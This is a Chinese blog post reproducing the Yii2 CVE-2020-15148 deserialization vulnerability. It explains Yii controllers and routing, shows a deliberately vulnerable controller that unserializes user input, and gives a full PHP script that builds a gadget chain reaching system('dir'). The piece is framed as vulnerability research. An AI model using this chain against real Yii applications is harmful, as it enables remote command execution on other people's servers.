小风福利公众号
扫描二维码
关注“外卖干饭精灵”公众号
领本站送出的无门槛20元外卖红包
回复“黑客”领取学习资料
最新文章
热门文章
文章详情
巧用可变函数绕过CVE-2020-15148限制
前言
本来之前爆出这个反序列化链的时候,感觉这个反序列化的链子和Lavarel
爆的链子有异曲同工之妙,所以本着复现的想法整一下,然后发现了几个绕过的姿势。拿出来和师傅们交流交流,抛转引玉吧。
熟悉Yii框架
首先通过这个Hello World来了解一下这个框架的基本使用方法。这样便于我们更加快速的去了解这个框架.
即使不说,也可以知道这个其实就是一个mvc
框架。所以所有的逻辑基本上和控制器有关。所以先来讲讲控制器的使用.
控制器
这里可以看到控制器的一个基本的使用方法.
<?php namespace app\controllers; use yii\web\Controller; class SiteController extends Controller { // ...现存的代码... public function actionSay($message = 'Hello') { return $this->render('say', ['message' => $message]); } }
这里可以看到,Yii2这里有一个前缀action
。
Yii 使用
action
前缀区分普通方法和操作。
action
前缀后面的名称被映射为操作的 ID。
最后通过render
渲染给say
这个view
然后把message
传递过去,方便view
去渲染数据
路由
Yii
的路由又有他自己独特的味道,熟悉thinkphp的同学可能知道,thinkphp
中有一个s
参数来用来表示路由,为了是防止浏览器自动纠错导致的路由匹配不上。Yii
也有这么一个参数r
默认URL格式使用一个参数r表示路由, 并且使用一般的参数格式表示请求参数。例如,/index.php?r=post/view&id=100表示路由为post/view,参数id为100。
还有一种是美化url的格式,官网有详细例子,这里就不在赘述了,所以我们复现这里采用的是r
参数的这种方式。
复现
环境:
- php7.29
- windows
下载源码 & 设置反序列化点
这里我选用的是直接从github
上找的源码,奶权师傅的文章中有非常详细的讲解.(我composer没了就离谱
搭建好之后,写一个Hello World
测试一下环境搭建的情况。(这里注意到路由中要加一个web
才能有index.php
搭建好之后,我们吧Hello World
换成一个反序列话的点
<?php namespace app\controllers; use Yii; use yii\web\Controller; class HelloController extends Controller { function actionTest() { $name = Yii::$app->request->get('unserialize'); return unserialize(base64_decode($name)); } }
图说反序列化
这里还是选用图片的方式来讲一下整个pop链。
任意函数执行
这里为啥说是任意类的任意函数执行。那有一个前置知识点是必须要提到的——可变函数
我们看一下官网给的例子
<?php class Foo { static function bar() { echo "bar\n"; } function baz() { echo "baz\n"; } } $func = array("Foo", "bar"); $func(); // prints "bar" $func = array(new Foo, "baz"); $func(); // prints "baz" $func = "Foo::bar"; $func(); // prints "bar" as of PHP 7.0.0; prior, it raised a fatal error ?>
从这个例子中我们可以看到,如果一个数组被当做函数执行,那么数组中的第一个元素会被当成类的实例,第二个参数则是方法。
在Yii
这个例子则是通过call_user_func
来完成类似操作的。
找可控函数
有了能够任意执行的函数,还是不够的。更关键的是要参数是可控的。我当时的想法是要找一个完全函数。
比如: $this->xxx->yyy($this->abc)
这种
所以利用phpstorm ctrl+shift+f
全局搜索了一下,正则表达式如下
\$this->[a-zA-Z]+->[a-zA-Z]+\(\$this->[a-zA-Z]+\)
没过多久就找到了一大堆.
这里我随便挑一个举例吧。
exp
<?php //misc namespace Codeception\Util; class XmlBuilder { function __construct() { $this->__dom__ = 0; } } // poc namespace yii\log; class DbTarget { public $logTable; } // __call namespace Faker; class Generator { public $formatters; } // __destruct namespace Codeception\Extension; use Codeception\Util\XmlBuilder; use Faker\Generator; use yii\log\DbTarget; class RunProcess { public $processes; public $output; } $g2 = new Generator(); $g2->formatters = ['quoteTableName' => 'system','getTransaction'=>[new XmlBuilder(),'getDom']]; $col = new DbTarget(); $col->db = $g2; $col->logTable = 'dir'; $g1 = new Generator(); $g1->formatters = ['isRunning' => [$col, 'export']]; $run_process = new RunProcess(); $run_process->processes = [$g1]; echo base64_encode(serialize($run_process));
后记
挖完后,去yii框架的github上看了看issue发现,已经有师傅在两个星期前发了。也是利用的StopProcess
这个点绕的。可是官方不认。看了下师傅发的两条链子,感觉思路差不多,也是利用可变函数的这个点,来扩大攻击面的。还记得是zsx师傅在RCTF2020 上出的swoole
带起的。(膜
上一文章:ctf中常见phprce绕过总结
下一文章:fastadmin后台注入分析
相关推荐
- 11-11米酷cms代审记录
- 05-12原生JS实现图片懒加载(懒加载的原理及实现)
- 10-20SEO赚钱技术和SEO赚钱思维
- 11-12记一次bc推广
- 11-17大数据-浅析Hadoop命令执行漏洞
- 10-21记录第二次“梅花三弄”的渗透之旅
- 05-25记一次艰难的溯源故事(对不起学长)
- 05-31XCTF2021-Final-DubboWriteUp:SSRF-
- 08-24cf开学季,领黑钻
- 05-13JavaAgent从入门到内存马
- 10-21记一次某源码审计
- 05-18Xmind2020XSS漏洞导致命令执行复现
- 05-12频繁GC导致CPU飙高问题解决方法
- 10-21利用DNS缓存和TLS协议将受限SSRF变为通用SS